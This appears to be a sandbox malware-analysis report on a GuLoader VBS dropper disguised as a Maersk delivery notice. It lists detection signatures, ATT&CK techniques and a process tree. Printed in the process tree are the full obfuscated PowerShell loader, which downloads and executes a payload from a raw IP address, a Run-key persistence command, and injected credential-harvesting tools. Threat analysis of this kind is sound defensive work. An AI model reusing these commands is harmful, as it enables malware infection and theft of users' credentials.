guloader | c34b1264320651723222ea0785511f7f317dd295b38b0c0a23d0ac421a3c1e48

Analysis

max time kernel
148s
max time network
147s
platform
windows10-2004_x64
resource
win10v2004-20240611-en
resource tags

arch:x64arch:x86image:win10v2004-20240611-enlocale:en-usos:windows10-2004-x64system
submitted
26-06-2024 15:21

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

MaerskPreawbsamedaydelivery636489384759390200.vbs
Size

187KB
MD5

4948f25f03e8b1e397066530f79d85dd
SHA1

3d8328d506504a47eefaa9425b08a4070ef494e5
SHA256

c34b1264320651723222ea0785511f7f317dd295b38b0c0a23d0ac421a3c1e48
SHA512

d92a357cfdfc0810fc31cd4ad3f35ec62f4860338d626ab4b79e027431fe70556ecc330650b4848803a84077b5fd9b93fd58380bbc2adda8953b2322ea5c06d1
SSDEEP

3072:YmN8GGebKjeK3ubth+DCFxKCvBB/WnHPP1w/sLJFJ281QIHz1y8mNy7Ey1MgKTZ/:Y08GxbKja3+DCbKCvBB/WnHXC/sLJFJw

Score

10^/10

guloader collection downloader persistence

Malware Config

Signatures

Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
downloader guloader
NirSoft MailPassView 1 IoCs
Password recovery tool for various email clients

Processes:

resource yara_rule

behavioral2/memory/1364-56-0x0000000000400000-0x0000000000462000-memory.dmp MailPassView
NirSoft WebBrowserPassView 1 IoCs
Password recovery tool for various web browsers

Processes:

resource yara_rule

behavioral2/memory/4640-55-0x0000000000400000-0x0000000000478000-memory.dmp WebBrowserPassView

resource	yara_rule
behavioral2/memory/1364-56-0x0000000000400000-0x0000000000462000-memory.dmp	MailPassView

resource	yara_rule
behavioral2/memory/4640-55-0x0000000000400000-0x0000000000478000-memory.dmp	WebBrowserPassView

Nirsoft 3 IoCs

Processes:

resource	yara_rule
behavioral2/memory/1364-56-0x0000000000400000-0x0000000000462000-memory.dmp	Nirsoft
behavioral2/memory/3016-62-0x0000000000400000-0x0000000000424000-memory.dmp	Nirsoft
behavioral2/memory/4640-55-0x0000000000400000-0x0000000000478000-memory.dmp	Nirsoft

Blocklisted process makes network request 2 IoCs

Processes:

WScript.exepowershell.exe

flow pid process

2 4036 WScript.exe
11 3428 powershell.exe
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.

Query Registry
T1012

System Information Discovery
T1082

Processes:

WScript.exe

description ioc process

Key value queried \REGISTRY\USER\S-1-5-21-2447855248-390457009-3660902674-1000\Control Panel\International\Geo\Nation WScript.exe
Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs
collection

Email Collection
T1114

Processes:

wab.exe

description ioc process

Key opened \REGISTRY\USER\S-1-5-21-2447855248-390457009-3660902674-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts wab.exe

flow	pid	process
2	4036	WScript.exe
11	3428	powershell.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-2447855248-390457009-3660902674-1000\Control Panel\International\Geo\Nation	WScript.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-2447855248-390457009-3660902674-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts	wab.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

reg.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2447855248-390457009-3660902674-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Dalboens145 = "%Sarcosporidian% -w 1 $Chefdelegeredes=(Get-ItemProperty -Path 'HKCU:\\Liking\\').Lycopodiaceae;%Sarcosporidian% ($Chefdelegeredes)"	reg.exe

Suspicious use of NtCreateThreadExHideFromDebugger 2 IoCs

Processes:

wab.exe

pid process

452 wab.exe
452 wab.exe
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

Processes:

powershell.exewab.exe

pid process

1984 powershell.exe
452 wab.exe

pid	process
452	wab.exe
452	wab.exe

pid	process
1984	powershell.exe
452	wab.exe

Suspicious use of SetThreadContext 4 IoCs

Processes:

powershell.exewab.exe

description	pid	process	target process
PID 1984 set thread context of 452	1984	powershell.exe	wab.exe
PID 452 set thread context of 4640	452	wab.exe	wab.exe
PID 452 set thread context of 1364	452	wab.exe	wab.exe
PID 452 set thread context of 3016	452	wab.exe	wab.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Modifies registry key 1 TTPs 1 IoCs

Modify Registry
T1112

Processes:

reg.exe

pid process

3000 reg.exe
Suspicious behavior: EnumeratesProcesses 11 IoCs

Processes:

powershell.exepowershell.exewab.exewab.exe

pid process

3428 powershell.exe
3428 powershell.exe
1984 powershell.exe
1984 powershell.exe
1984 powershell.exe
4640 wab.exe
4640 wab.exe
3016 wab.exe
3016 wab.exe
4640 wab.exe
4640 wab.exe
Suspicious behavior: MapViewOfSection 5 IoCs

Processes:

powershell.exewab.exe

pid process

1984 powershell.exe
452 wab.exe
452 wab.exe
452 wab.exe
452 wab.exe
Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

powershell.exepowershell.exewab.exe

description pid process

Token: SeDebugPrivilege 3428 powershell.exe
Token: SeDebugPrivilege 1984 powershell.exe
Token: SeDebugPrivilege 3016 wab.exe
Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

wab.exe

pid process

452 wab.exe

pid	process
3000	reg.exe

pid	process
3428	powershell.exe
3428	powershell.exe
1984	powershell.exe
1984	powershell.exe
1984	powershell.exe
4640	wab.exe
4640	wab.exe
3016	wab.exe
3016	wab.exe
4640	wab.exe
4640	wab.exe

pid	process
1984	powershell.exe
452	wab.exe
452	wab.exe
452	wab.exe
452	wab.exe

description	pid	process
Token: SeDebugPrivilege	3428	powershell.exe
Token: SeDebugPrivilege	1984	powershell.exe
Token: SeDebugPrivilege	3016	wab.exe

pid	process
452	wab.exe

Suspicious use of WriteProcessMemory 36 IoCs

Processes:

WScript.exepowershell.exepowershell.exewab.execmd.exe

description	pid	process	target process
PID 4036 wrote to memory of 3428	4036	WScript.exe	powershell.exe
PID 4036 wrote to memory of 3428	4036	WScript.exe	powershell.exe
PID 3428 wrote to memory of 3584	3428	powershell.exe	cmd.exe
PID 3428 wrote to memory of 3584	3428	powershell.exe	cmd.exe
PID 3428 wrote to memory of 1984	3428	powershell.exe	powershell.exe
PID 3428 wrote to memory of 1984	3428	powershell.exe	powershell.exe
PID 3428 wrote to memory of 1984	3428	powershell.exe	powershell.exe
PID 1984 wrote to memory of 2268	1984	powershell.exe	cmd.exe
PID 1984 wrote to memory of 2268	1984	powershell.exe	cmd.exe
PID 1984 wrote to memory of 2268	1984	powershell.exe	cmd.exe
PID 1984 wrote to memory of 452	1984	powershell.exe	wab.exe
PID 1984 wrote to memory of 452	1984	powershell.exe	wab.exe
PID 1984 wrote to memory of 452	1984	powershell.exe	wab.exe
PID 1984 wrote to memory of 452	1984	powershell.exe	wab.exe
PID 1984 wrote to memory of 452	1984	powershell.exe	wab.exe
PID 452 wrote to memory of 2900	452	wab.exe	cmd.exe
PID 452 wrote to memory of 2900	452	wab.exe	cmd.exe
PID 452 wrote to memory of 2900	452	wab.exe	cmd.exe
PID 2900 wrote to memory of 3000	2900	cmd.exe	reg.exe
PID 2900 wrote to memory of 3000	2900	cmd.exe	reg.exe
PID 2900 wrote to memory of 3000	2900	cmd.exe	reg.exe
PID 452 wrote to memory of 4640	452	wab.exe	wab.exe
PID 452 wrote to memory of 4640	452	wab.exe	wab.exe
PID 452 wrote to memory of 4640	452	wab.exe	wab.exe
PID 452 wrote to memory of 4640	452	wab.exe	wab.exe
PID 452 wrote to memory of 3636	452	wab.exe	wab.exe
PID 452 wrote to memory of 3636	452	wab.exe	wab.exe
PID 452 wrote to memory of 3636	452	wab.exe	wab.exe
PID 452 wrote to memory of 1364	452	wab.exe	wab.exe
PID 452 wrote to memory of 1364	452	wab.exe	wab.exe
PID 452 wrote to memory of 1364	452	wab.exe	wab.exe
PID 452 wrote to memory of 1364	452	wab.exe	wab.exe
PID 452 wrote to memory of 3016	452	wab.exe	wab.exe
PID 452 wrote to memory of 3016	452	wab.exe	wab.exe
PID 452 wrote to memory of 3016	452	wab.exe	wab.exe
PID 452 wrote to memory of 3016	452	wab.exe	wab.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\MaerskPreawbsamedaydelivery636489384759390200.vbs"
1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4036

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'Remmene251 heneicosane Galocherne Dermenchysis Jydepottens Dunkard bourgeoisiet Planner Madding Enerverings Roughhewing Unbegreased Omplantet Prophesiers Orthosymmetrical Handpick Orthocarpous Kedede121 Tiddlywink Strangling Carbonate Synomosy Odorizing Krigsfrelserne201 Remmene251 heneicosane Galocherne Dermenchysis Jydepottens Dunkard bourgeoisiet Planner Madding Enerverings Roughhewing Unbegreased Omplantet Prophesiers Orthosymmetrical Handpick Orthocarpous Kedede121 Tiddlywink Strangling Carbonate Synomosy Odorizing Krigsfrelserne201';$Fothering = 1;Function Fortovsrestauranten($Kinetoscope){$Manfreds=$Kinetoscope.Length-$Fothering;$Tilkbsbillet171='SUBSTRIN';$Tilkbsbillet171+='G';For( $skarnskngtens=1;$skarnskngtens -lt $Manfreds;$skarnskngtens+=2){$Remmene251+=$Kinetoscope.$Tilkbsbillet171.Invoke( $skarnskngtens, $Fothering);}$Remmene251;}function travlhedens($Fructed){ . ($Vaginate) ($Fructed);}$Skrabnser=Fortovsrestauranten 'KMGo,z iBlDlFa,/,5S.A0j ,(MWsiSn.d o w s BN T S1S0L.P0M;C IWNiNnF6S4T;P UxS6R4 ;, ArAvE: 1 2D1S..0D). GHe c,k.oK/ 2U0S1A0 0 1 0S1G ,Fdi,rVe,fMoUxP/T1s2T1 . 0G ';$Precise=Fortovsrestauranten ' U sce.r -CAMgHe nMtO ';$Jydepottens=Fortovsrestauranten ',h,t t.pA: /G/S1M0A3N. 1.9 5C..2D3 7V.I4P3S/.SLt tOtMeSpHi,l lBeHn s 3C4 .Up ccxL ';$Contemplators=Fortovsrestauranten 'w> ';$Vaginate=Fortovsrestauranten ' iFe.xU ';$Liguorian10='Planner';$Cleanout = Fortovsrestauranten 'HeScFh oC %,a pSpPd aTt a,%,\ KPlBi s,t.e r,pNa p iDr eAr,. NTo nU M&,&S eUc,h.oB tS ';travlhedens (Fortovsrestauranten 'F$ g.l,oFb aOlM:PB u fIfLiNsJt.eRrPnEe sP= ( c m.d. / c ,$GC lPeHaSnSoKuTtR) ');travlhedens (Fortovsrestauranten ' $LgSlSo,b.aOlS:VD efr,m e.n.cMh.y.s.iAsB= $GJ yUdseKpMoPtSt,e.nOsI.CsPp.lCiJt (e$ CLoAn.tNermrp.lUaUtCoFr s.). ');travlhedens (Fortovsrestauranten ',[YNSe t .MS e.r.v i c eTPwo i nBtpMLaCnDaigPe r ] :,:pSbe cku.r iDt yPP,r o t,ogcMoPl. F=D [BNseBtF.US.e couNrTiCtIy PSrAo.t o c oRlAT y,pFe,]P: : T lts 1O2R ');$Jydepottens=$Dermenchysis[0];$Velgreren201= (Fortovsrestauranten 'L$tg,lAoSbpaEl,:,N.o n pBa t h,oIl,o,gEiIcBa l.=.NBeAwa-FO b,j.eLc tM ,S yps,tBe mF. N e tP. WSeNbECOl iSeGn,t');$Velgreren201+=$Buffisternes[1];travlhedens ($Velgreren201);travlhedens (Fortovsrestauranten ' $ NTo nFpLaFt h oLl o g i.c aSlW. H esaVdUeErus,[M$BPPr e,cSi sEe ]S=T$ SAk r.a bSn,sUe rH ');$Adolpho=Fortovsrestauranten 'P$ NUoHnDp a t h o lCoDgMi cTaPl .pD o.wCnPl o.aBdKF i,lKe.( $ JCyTdKe p o.tStEe nSs,,B$.S.yDn.oBmFoEs y,) ';$Synomosy=$Buffisternes[0];travlhedens (Fortovsrestauranten ' $AgPl osbVa lM:fPSoUlFeScIa.t,=,( TAecsVtF-.PFaSt.h. C$ S.yHn o m oPs y,)A ');while (!$Polecat) {travlhedens (Fortovsrestauranten 'B$Rg,lIo bAa.l :Ps yMpRhEi lNiSpBh oeb iFaV=V$TtPr,u eG ') ;travlhedens $Adolpho;travlhedens (Fortovsrestauranten ' SHt,a.rFt -lS lBeSe,p C4B ');travlhedens (Fortovsrestauranten 'E$BgAlCo,b aRlr:BP,o l e.c,a,tB= (STkeFs tH-.PAa tIhP V$SS y.nBoSm.o sfy.), ') ;travlhedens (Fortovsrestauranten 'U$CgAlTo bSaBlD:UGsa.lUo,cThTe rSnSe = $ gHlTo bMaMlK:,h eSn.eAiBc o.sMaRn eR+ +P% $ DAe.rSm,e,n,c hByUs i.s .TcBo uSnAtY ') ;$Jydepottens=$Dermenchysis[$Galocherne];}$Osteopath199=345504;$Nonfealties=26095;travlhedens (Fortovsrestauranten 'O$Gg lSo.b.aRlE: M,a dMdTi nTgD =, ,GUe.t,-rCSo n t eDn tp $PS yAnUoUmGoSsFyB ');travlhedens (Fortovsrestauranten 'B$Lg lCoOb.aIl.:.CGoKaDmNiSa b,lSe N=B T[ SUy,s.t eUmC. CNoNn vEe.rFt.]t:S:IFPrUopm.B a s eH6 4 S,t rMi nFg.( $SMPaFdSd.i n gT)M ');travlhedens (Fortovsrestauranten ' $KgMlCo bMaFl,:.UFn.b.e gAr eFaCshe d P=P [,SOy sEt,eLm,.JTCe,xCtM.IEFnEc.o,d,i n g,] :O:.AASbCGIKI,.RG.e tOS,tLrKi.nEgP( $MC,oSa m.i aAb lEeM). ');travlhedens (Fortovsrestauranten '.$UgSl oCb aOlJ:USFi l iLcBoaiAdJe a =f$HUunMb.eEg r.e a.s e dP. s,u b.s.tFr iTn gP(S$,OSsGt e oIpSa.tBhD1.9u9 , $,NEoEn f,e,aVlbtDi e sU) ');travlhedens $Silicoidea;"
2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3428

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Klisterpapirer.Non && echo t"
3⤵
PID:3584

C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'Remmene251 heneicosane Galocherne Dermenchysis Jydepottens Dunkard bourgeoisiet Planner Madding Enerverings Roughhewing Unbegreased Omplantet Prophesiers Orthosymmetrical Handpick Orthocarpous Kedede121 Tiddlywink Strangling Carbonate Synomosy Odorizing Krigsfrelserne201 Remmene251 heneicosane Galocherne Dermenchysis Jydepottens Dunkard bourgeoisiet Planner Madding Enerverings Roughhewing Unbegreased Omplantet Prophesiers Orthosymmetrical Handpick Orthocarpous Kedede121 Tiddlywink Strangling Carbonate Synomosy Odorizing Krigsfrelserne201';$Fothering = 1;Function Fortovsrestauranten($Kinetoscope){$Manfreds=$Kinetoscope.Length-$Fothering;$Tilkbsbillet171='SUBSTRIN';$Tilkbsbillet171+='G';For( $skarnskngtens=1;$skarnskngtens -lt $Manfreds;$skarnskngtens+=2){$Remmene251+=$Kinetoscope.$Tilkbsbillet171.Invoke( $skarnskngtens, $Fothering);}$Remmene251;}function travlhedens($Fructed){ . ($Vaginate) ($Fructed);}$Skrabnser=Fortovsrestauranten 'KMGo,z iBlDlFa,/,5S.A0j ,(MWsiSn.d o w s BN T S1S0L.P0M;C IWNiNnF6S4T;P UxS6R4 ;, ArAvE: 1 2D1S..0D). GHe c,k.oK/ 2U0S1A0 0 1 0S1G ,Fdi,rVe,fMoUxP/T1s2T1 . 0G ';$Precise=Fortovsrestauranten ' U sce.r -CAMgHe nMtO ';$Jydepottens=Fortovsrestauranten ',h,t t.pA: /G/S1M0A3N. 1.9 5C..2D3 7V.I4P3S/.SLt tOtMeSpHi,l lBeHn s 3C4 .Up ccxL ';$Contemplators=Fortovsrestauranten 'w> ';$Vaginate=Fortovsrestauranten ' iFe.xU ';$Liguorian10='Planner';$Cleanout = Fortovsrestauranten 'HeScFh oC %,a pSpPd aTt a,%,\ KPlBi s,t.e r,pNa p iDr eAr,. NTo nU M&,&S eUc,h.oB tS ';travlhedens (Fortovsrestauranten 'F$ g.l,oFb aOlM:PB u fIfLiNsJt.eRrPnEe sP= ( c m.d. / c ,$GC lPeHaSnSoKuTtR) ');travlhedens (Fortovsrestauranten ' $LgSlSo,b.aOlS:VD efr,m e.n.cMh.y.s.iAsB= $GJ yUdseKpMoPtSt,e.nOsI.CsPp.lCiJt (e$ CLoAn.tNermrp.lUaUtCoFr s.). ');travlhedens (Fortovsrestauranten ',[YNSe t .MS e.r.v i c eTPwo i nBtpMLaCnDaigPe r ] :,:pSbe cku.r iDt yPP,r o t,ogcMoPl. F=D [BNseBtF.US.e couNrTiCtIy PSrAo.t o c oRlAT y,pFe,]P: : T lts 1O2R ');$Jydepottens=$Dermenchysis[0];$Velgreren201= (Fortovsrestauranten 'L$tg,lAoSbpaEl,:,N.o n pBa t h,oIl,o,gEiIcBa l.=.NBeAwa-FO b,j.eLc tM ,S yps,tBe mF. N e tP. WSeNbECOl iSeGn,t');$Velgreren201+=$Buffisternes[1];travlhedens ($Velgreren201);travlhedens (Fortovsrestauranten ' $ NTo nFpLaFt h oLl o g i.c aSlW. H esaVdUeErus,[M$BPPr e,cSi sEe ]S=T$ SAk r.a bSn,sUe rH ');$Adolpho=Fortovsrestauranten 'P$ NUoHnDp a t h o lCoDgMi cTaPl .pD o.wCnPl o.aBdKF i,lKe.( $ JCyTdKe p o.tStEe nSs,,B$.S.yDn.oBmFoEs y,) ';$Synomosy=$Buffisternes[0];travlhedens (Fortovsrestauranten ' $AgPl osbVa lM:fPSoUlFeScIa.t,=,( TAecsVtF-.PFaSt.h. C$ S.yHn o m oPs y,)A ');while (!$Polecat) {travlhedens (Fortovsrestauranten 'B$Rg,lIo bAa.l :Ps yMpRhEi lNiSpBh oeb iFaV=V$TtPr,u eG ') ;travlhedens $Adolpho;travlhedens (Fortovsrestauranten ' SHt,a.rFt -lS lBeSe,p C4B ');travlhedens (Fortovsrestauranten 'E$BgAlCo,b aRlr:BP,o l e.c,a,tB= (STkeFs tH-.PAa tIhP V$SS y.nBoSm.o sfy.), ') ;travlhedens (Fortovsrestauranten 'U$CgAlTo bSaBlD:UGsa.lUo,cThTe rSnSe = $ gHlTo bMaMlK:,h eSn.eAiBc o.sMaRn eR+ +P% $ DAe.rSm,e,n,c hByUs i.s .TcBo uSnAtY ') ;$Jydepottens=$Dermenchysis[$Galocherne];}$Osteopath199=345504;$Nonfealties=26095;travlhedens (Fortovsrestauranten 'O$Gg lSo.b.aRlE: M,a dMdTi nTgD =, ,GUe.t,-rCSo n t eDn tp $PS yAnUoUmGoSsFyB ');travlhedens (Fortovsrestauranten 'B$Lg lCoOb.aIl.:.CGoKaDmNiSa b,lSe N=B T[ SUy,s.t eUmC. CNoNn vEe.rFt.]t:S:IFPrUopm.B a s eH6 4 S,t rMi nFg.( $SMPaFdSd.i n gT)M ');travlhedens (Fortovsrestauranten ' $KgMlCo bMaFl,:.UFn.b.e gAr eFaCshe d P=P [,SOy sEt,eLm,.JTCe,xCtM.IEFnEc.o,d,i n g,] :O:.AASbCGIKI,.RG.e tOS,tLrKi.nEgP( $MC,oSa m.i aAb lEeM). ');travlhedens (Fortovsrestauranten '.$UgSl oCb aOlJ:USFi l iLcBoaiAdJe a =f$HUunMb.eEg r.e a.s e dP. s,u b.s.tFr iTn gP(S$,OSsGt e oIpSa.tBhD1.9u9 , $,NEoEn f,e,aVlbtDi e sU) ');travlhedens $Silicoidea;"
3⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1984

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Klisterpapirer.Non && echo t"
4⤵
PID:2268

C:\Program Files (x86)\windows mail\wab.exe
"C:\Program Files (x86)\windows mail\wab.exe"
4⤵
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:452

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Dalboens145" /t REG_EXPAND_SZ /d "%Sarcosporidian% -w 1 $Chefdelegeredes=(Get-ItemProperty -Path 'HKCU:\Liking\').Lycopodiaceae;%Sarcosporidian% ($Chefdelegeredes)"
5⤵
- Suspicious use of WriteProcessMemory
PID:2900

C:\Windows\SysWOW64\reg.exe
REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Dalboens145" /t REG_EXPAND_SZ /d "%Sarcosporidian% -w 1 $Chefdelegeredes=(Get-ItemProperty -Path 'HKCU:\Liking\').Lycopodiaceae;%Sarcosporidian% ($Chefdelegeredes)"
6⤵
- Adds Run key to start application
- Modifies registry key
PID:3000

C:\Program Files (x86)\windows mail\wab.exe
"C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\rmherfmeqvvxdafp"
5⤵
- Suspicious behavior: EnumeratesProcesses
PID:4640

C:\Program Files (x86)\windows mail\wab.exe
"C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\upmxrxffmdncfgttsbr"
5⤵
PID:3636

C:\Program Files (x86)\windows mail\wab.exe
"C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\upmxrxffmdncfgttsbr"
5⤵
- Accesses Microsoft Outlook accounts
PID:1364

C:\Program Files (x86)\windows mail\wab.exe
"C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ejspsqpzalfgpmpxbmmrtuo"
5⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3016

Network

MITRE ATT&CK Matrix ATT&CK v13

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ns3xmue2.xr1.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\rmherfmeqvvxdafp
Filesize
4KB

MD5
042bbbff30c31fcbdd7f9b0ed3935ca5

SHA1
c333db2dceaf9a524147155c79756bc32eda6b03

SHA256
626ae16f54b4ca656b0267dade381d30bf042a06ba69b8851e33ab14da2bd9fe

SHA512
7f3a8eee89225ced48f8bc69d168713377e0316df3e46b544d9f7bc2c84305020eca3094c8246c8c934e22bd7643ae11f4a1560c3fe7aa717604869bcffa48fe

Download Submit
C:\Users\Admin\AppData\Roaming\Klisterpapirer.Non
Filesize
483KB

MD5
59d5cd5f7fb93a9089e6bf2621cb1130

SHA1
6b6e8e4fbb0a6eb2e71ef3a10303c8dae87c1b68

SHA256
c79867129c123816cbd012fe333bda1f88627c34790271d3541d15f77c6f566c

SHA512
6ebad0cd265f4ab0bf38fe9855de50ec5d51e6aa503f507d61b51c27dc562f34ff0036420aa4c36127cd5ec056bd1406080c09e937db871b28089ba74de36049

Download Submit
memory/452-70-0x0000000022240000-0x0000000022259000-memory.dmp

Filesize
100KB

Download
memory/452-71-0x0000000022240000-0x0000000022259000-memory.dmp

Filesize
100KB

Download
memory/452-67-0x0000000022240000-0x0000000022259000-memory.dmp

Filesize
100KB

Download
memory/452-46-0x0000000002500000-0x00000000062F0000-memory.dmp

Filesize
61.9MB

Download
memory/1364-56-0x0000000000400000-0x0000000000462000-memory.dmp

Filesize
392KB

Download
memory/1364-53-0x0000000000400000-0x0000000000462000-memory.dmp

Filesize
392KB

Download
memory/1364-54-0x0000000000400000-0x0000000000462000-memory.dmp

Filesize
392KB

Download
memory/1984-39-0x0000000007920000-0x0000000007942000-memory.dmp

Filesize
136KB

Download
memory/1984-40-0x0000000008B20000-0x00000000090C4000-memory.dmp

Filesize
5.6MB

Download
memory/1984-35-0x0000000006720000-0x000000000676C000-memory.dmp

Filesize
304KB

Download
memory/1984-36-0x0000000007EF0000-0x000000000856A000-memory.dmp

Filesize
6.5MB

Download
memory/1984-37-0x0000000006C60000-0x0000000006C7A000-memory.dmp

Filesize
104KB

Download
memory/1984-38-0x0000000007990000-0x0000000007A26000-memory.dmp

Filesize
600KB

Download
memory/1984-33-0x0000000006130000-0x0000000006484000-memory.dmp

Filesize
3.3MB

Download
memory/1984-34-0x00000000066F0000-0x000000000670E000-memory.dmp

Filesize
120KB

Download
memory/1984-21-0x0000000005840000-0x0000000005862000-memory.dmp

Filesize
136KB

Download
memory/1984-42-0x00000000090D0000-0x000000000CEC0000-memory.dmp

Filesize
61.9MB

Download
memory/1984-19-0x0000000002DC0000-0x0000000002DF6000-memory.dmp

Filesize
216KB

Download
memory/1984-23-0x00000000060C0000-0x0000000006126000-memory.dmp

Filesize
408KB

Download
memory/1984-22-0x0000000005920000-0x0000000005986000-memory.dmp

Filesize
408KB

Download
memory/1984-20-0x0000000005A20000-0x0000000006048000-memory.dmp

Filesize
6.2MB

Download
memory/3016-58-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/3016-57-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/3016-62-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/3428-4-0x00007FFEC0643000-0x00007FFEC0645000-memory.dmp

Filesize
8KB

Download
memory/3428-49-0x00007FFEC0640000-0x00007FFEC1101000-memory.dmp

Filesize
10.8MB

Download
memory/3428-44-0x00007FFEC0643000-0x00007FFEC0645000-memory.dmp

Filesize
8KB

Download
memory/3428-43-0x00007FFEC0640000-0x00007FFEC1101000-memory.dmp

Filesize
10.8MB

Download
memory/3428-12-0x0000019CC9F00000-0x0000019CC9F22000-memory.dmp

Filesize
136KB

Download
memory/3428-11-0x00007FFEC0640000-0x00007FFEC1101000-memory.dmp

Filesize
10.8MB

Download
memory/3428-5-0x00007FFEC0640000-0x00007FFEC1101000-memory.dmp

Filesize
10.8MB

Download
memory/4640-52-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/4640-51-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/4640-55-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download